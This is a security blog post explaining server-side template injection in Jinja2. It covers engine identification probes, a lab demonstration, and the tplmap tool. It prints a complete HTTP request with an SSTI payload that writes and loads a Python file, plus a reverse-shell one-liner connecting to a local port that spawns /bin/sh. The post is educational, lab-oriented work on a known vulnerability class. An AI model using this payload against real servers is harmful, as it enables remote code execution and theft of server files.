Home Blogs Profile Contribution Policies Contact About

Server Side Template Injection


Summary:



Description:

According to OWASP,
Web applications commonly use server side templating technologies (Jinja2, Twig, FreeMaker, etc.) to generate dynamic HTML responses. Server Side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server.

Before understanding the injection attack we need to understand the concept behind the implementation and needs.
Let's start,

Objectives:




What is Template Engine?:


Implementation of jinja template:

Popular Template Engines:

Below I have shown the simple jinja template tutorial with code.

Now, As observe the website passes the user input directly to the template without the validation. For identification, we can try common calculations and we can observe the output.

Because of large numerical calculations, the web server consumes more RAM than usual. Observe the below screenshot of RAM consumed by the server over several seconds. However, improper implementation of the template can lead to a DOS attack.




Identification:

After detecting template injection, the next step is to identify the template engine in use. This step is sometimes as trivial as submitting invalid syntax, as template engines may identify themselves in the resulting error messages.

However, this technique fails when error messages are suppressed, and isn't well suited for automation. We have instead automated this in Burp Suite using a decision tree of language-specific payloads. Green and red arrows represent 'success' and 'failure' responses respectively. In some cases, a single payload can have multiple distinct success responses - for example, the probe {{7*'7'}} would result in 49 in Twig, 7777777 in Jinja2, and neither if no template language is in use.

I have implemented OWASP S.K.F. lab below you can observe the basic payloads can retrieve much more sensitive data from the webserver.

By escalating this vulnerability you can able to grab internal servers sensitive files and source code.

In very rare scenarios we can go for the shell or RCE via SSTI. Below you can observe the HTTP request with the payload.



GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwn.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwn.py').read()}}-{{config.from_pyfile('/tmp/pwn.py')}} HTTP/1.1

X-Payload: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",7878));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

        

We got NC shell !!!





Automation:

Yes, it is possible to automate this process !! Thanks to tplmap tool we can speedup process. Just provide the URL as shown below.

Also, we can get shell without dropping single sweat for researching on multiple templates configuration command !!

There is nice CTF created by me ;) MuzzyBox on VulnHub.com. Play and solve the SSTI challenge OR
Navigate to YouTube Video @ 5 minute you can see the RCE via tplmap.



Ending notes:

Today, most of the dynamic websites are using templates engines for user control functionality. In this blog I have explain the basic identification and exploitation of the insecure website.
In future I will add payload list for identification of different template engines.

Thanks For Reading
Husseni Muzkkir




References:

https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
https://www.vulnhub.com/entry/muzzybox-1,434/



Comment Section:

Writer: You can write a comment to help me to improve this blog or ask below


Write a Comment








I also think you'll like...





More Blogs
Back to top ↑